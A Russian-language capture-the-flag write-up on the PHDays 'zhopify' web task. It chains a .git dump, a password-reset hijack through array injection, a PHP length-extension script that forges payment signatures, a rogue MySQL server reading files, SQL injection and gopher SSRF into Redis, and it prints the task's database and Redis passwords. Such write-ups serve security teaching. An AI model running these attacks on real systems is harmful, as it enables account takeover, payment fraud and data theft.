Сайт http://zhopify.hackquest.phdays.com/web/ Доступна регистрация, авторизация, восстановление пароля. После регистрации приходит письмо на почту такого вида: Отправитель письма [email protected] - запомнил. Админ умер, обидно. Потыкал все формы на xss/sql - ничего. Погрустил, запустил dirbuster который обнаружил .git директорию. Доступными инструментами спарсить гит не удалось т.к. после 2 запроса IP банится на ~10 минут. Написал дампер гита на php с поддержкой соксов. https://gist.github.com/firsov/734b98c7ac7d74a5cdf72eb83b9b607b Создаем временную папку, выполняем команду git init, скачиваем ./git/index файл с zhopify сайта и кладем в папку .git Выходим из папки .git выше и выполняем команду git ls-files > files.txt Теперь у нас есть огромный список файлов гита zhopify. Дальше запускаем скрипт и ждем. В гите оказалось около 3000 файлов мусора, там и wordpress и laravel и kohana и yii, ничего что могло бы нам помочь. Интересным оказался файл controllers/PayController.php, но на данном этапе он нам ничего не давал. Еще раз погрустил. Потом прилетел хинт про форму восстановления пароля. В форме указывается email адрес в поле с именем Code: ForgotForm[еmail] . Сделал запрос такого вида: Code: ForgotForm[email][][email protected] ForgotForm[email][][email protected] На почту прилетело письмо Вот прикол! Изменил пароль админу, захожу под ним, в админке вбиваю свой аккаунт, активирую его и ставлю статус developer. Больше в админке делать нечего. Захожу под своим аккаунтом. В профиле есть возможность купить план Elite за 31337$, но пополнение баланса не работает. Вспоминаю файл controllers/PayController.php из гита PHP: public function actionCheck() { // 1 usd pay test — {id: 1, //amount: 1, //system: 'liqpay', //email: 'admin@localhost', //plan: 'elite', //signature: '131e8bde0e05873a50b3f0fd112e53e59260038e96822740062f5bbb8cce08c0efe25d5f83dad5efcc1a6895dcd28c4c0702a7e0c8f0d2e843b854c215eadbb5'} if (Yii::$app->request->isAjax) { Yii::$app->response->format = \yii\web\Response::FORMAT_JSON; $data = Yii::$app->request->post(); if(!empty($data['signature'])) { if( !empty($data['id']) && !empty($data['email']) && !empty($data['plan']) && !empty($data['amount']) && !empty($data['system']) ) { if($this->checkSign($data, 2) === true) { if(Yii::$app->user->id == $data['id']) { $user = User::findIdentity(['id'=>Yii::$app->user->id]); if($user) { $user->balance += $data['amount']; if($user->save()) { return ['ok' => 'Balance updated!']; } } } } } } return ['error' => 'Fatal error!']; } return $this->render('pay', ['error' => 'Fatal error! Wrong singature!']); } private function checkSign(array $params, $key = 1) { ksort($params); if($key == 1) { $secretKey = Yii::$app->params['PAY_KEY1']; } else { $secretKey = Yii::$app->params['PAY_KEY2']; } $sign = $params['signature']; unset($params['signature']); $p = implode(':', $params); $m = hash('sha512', 'check:' . $secretKey . ':' . $p); return $m === $sign; } Сразу понятно - Length extension attack. Подробно описывать я ее не буду, в гугле полно информации. Эта часть далась довольно быстро потому что буквально неделю назад похожую задачу решал в другой ctf. Скрипт такой: PHP: // (c) mailbrush$data = '1:admin@localhost:1:elite:liqpay';$orig_sig = '131e8bde0e05873a50b3f0fd112e53e59260038e96822740062f5bbb8cce08c0efe25d5f83dad5efcc1a6895dcd28c4c0702a7e0c8f0d2e843b854c215eadbb5';$inject = ['id' => 130, 'system' => 'a', 'email' => 'b', 'plan' => 'c', 'amount' => 500000];ksort($inject);$append = ':' . implode(':', $inject);for($len = 10; $len < 100; $len++) { $out = shell_exec("~/hash_extender/hash_extender -s {$orig_sig} -f sha512 -d '{$data}' -l {$len} -a '{$append}'"); preg_match("/New signature: (.+?)\nNew string: (.+?)\n/", $out, $matches); $signature = $matches[1]; $string = hex2bin($matches[2]); $inject['_'] = substr($string, 0, -1 * strlen($append)); $inject['signature'] = $signature; $ch = curl_init('http://zhopify.hackquest.phdays.com/web/pay/check'); curl_setopt($ch, CURLOPT_COOKIE, '_ga=GA1.2.282975945.1460493619; _ym_uid=1460493619624267473; _csrf=d0367421777791372c369b949fcfcf07ce5c66241e23c85306d93961d99ce13da%3A2%3A%7Bi%3A0%3Bs%3A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22T5AOM5A_dMkTkmtTV75p2rZ106k-rTE2%22%3B%7D; PHPSESSID=ffejaaiu6ml4u0fc8t8nqli4k2; _identity=6c90ef95a4723cc6c423373ccaf0b8484877094b7c25e5307238a4a51f41a701a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Bi%3A1%3Bs%3A48%3A%22%5B130%2C%22NQ9ZU3FZmbK36PwtkK4Cov_7BY61G4DX%22%2C2592000%5D%22%3B%7D'); curl_setopt($ch, CURLOPT_HTTPHEADER, ['X-CSRF-Token: NElrUkVYbEFgfCodCG0tHlAEAAYuNRgVYn5eIncqNnAEfwB/Nwwpcw==', 'X-Requested-With: XMLHttpRequest']); curl_setopt($ch, CURLOPT_POSTFIELDS, $inject); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res = curl_exec($ch); echo "$len $res\n";}echo "\n"; Баланс пополнен, план Elite куплен. Казалось бы первый флаг уже должны дать, а нет! Появился пункт меню Products, в котором есть Import From Mysql. (Импорт с удаленного mysql сервера) Привет, load data local infile. Качаем крутой скрипт от Gifts - https://github.com/Gifts/Rogue-MySql-Server Это фейковый mysql сервер который позволяет читать файлы системы которая к нему обращается. В админке указываем ip и порт нашего mysql сервера, остальные поля не важны. В нашем скрипте указываем файл для чтения index.php, там include ../config/web.php, там include db.php PHP: return [ 'class' => 'yii\\db\\Connection', 'dsn' => 'mysql:host=localhost;dbname=zhopify', 'username' => 'zhopify', 'password' => 'uqBbFAWx/&:G6KNQRTtS', 'charset' => 'utf8',]; Еще немного почитал исходники и стало понятно, что в импорте поля prefix и table уязвимы к SQL injection: В Mysql Import указываем 127.0.0.1 3306, данные из конфига, database zhopify, table пусто, в префикс SQL query: Получаем error based sql inj Flag 1: Welcome back to Megatask version two point zero. От флага посмеялся от души. Дальше хинтанули, что второй флаг лежит в редисе. Снаружи к нему подрубиться нельзя, в читалке gopher не работает. Нашелся файл ../.htaccess PHP: <Files "testCURLimage.php">Order allow,denyAllow from 127.0.0.1</Files> В /etc/hosts был найден алиас 127.0.0.1 zhopify.zhp Через читалку обращаемся к http://zhopify.zhp/testCURLimage.php , отлично, существует! Читаем содержимое файла: PHP: if (!empty($_GET['u'])) { $url_array = parse_url($_GET['u']); if ($url_array !== FALSE) { if (!empty($url_array['scheme']) && !in_array(strtolower($url_array['scheme']), ['file', 'dict', 'ftp']) ) { if (!empty($url_array['host']) && !empty($url_array['path'])) { $name = basename($url_array['path']); if (!empty($name)) { $ext = pathinfo($name, PATHINFO_EXTENSION); if ($ext == 'jpg') { if ($curl = curl_init()) { die; curl_setopt($curl, CURLOPT_URL, $_GET['u']); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false); curl_setopt($curl, CURLOPT_RANGE, "1-1024*1024*1"); $out = curl_exec($curl); $data = $out; curl_close($curl); if ($data !== false) { print $data; } } } } } } }} SSRF налицо. Необходимо передавать расширение jpg чтобы он выполнился. Попробуем доступен ли здесь gopher. Читаем файл так: Запрос есть - отлично. Чтобы расширение jpg не ломало запрос к редису, делать мы будем его так: После quit будет выход из редиса со статусом OK. Теперь мы можем обратиться к редису через gopher. Запрос Ответ: NOAUTH Authentication required. OK Читаем конфиг /etc/redis/redis.conf Пароль requirepass 78109f951153fd3bdcf4715bf041c96c76b17bad Делаем запрос Ответ: $45 4bc37760d3d60167126e7f3ef5067d301e5c6606_FLAG Следующий запрос Ответ и флаг: Nice to see your asses here again! Отличное задание! Настоящий shopify заплатил бы за такое 31337$ Спасибо за помощь в решении таска mailbrush и yarbabin.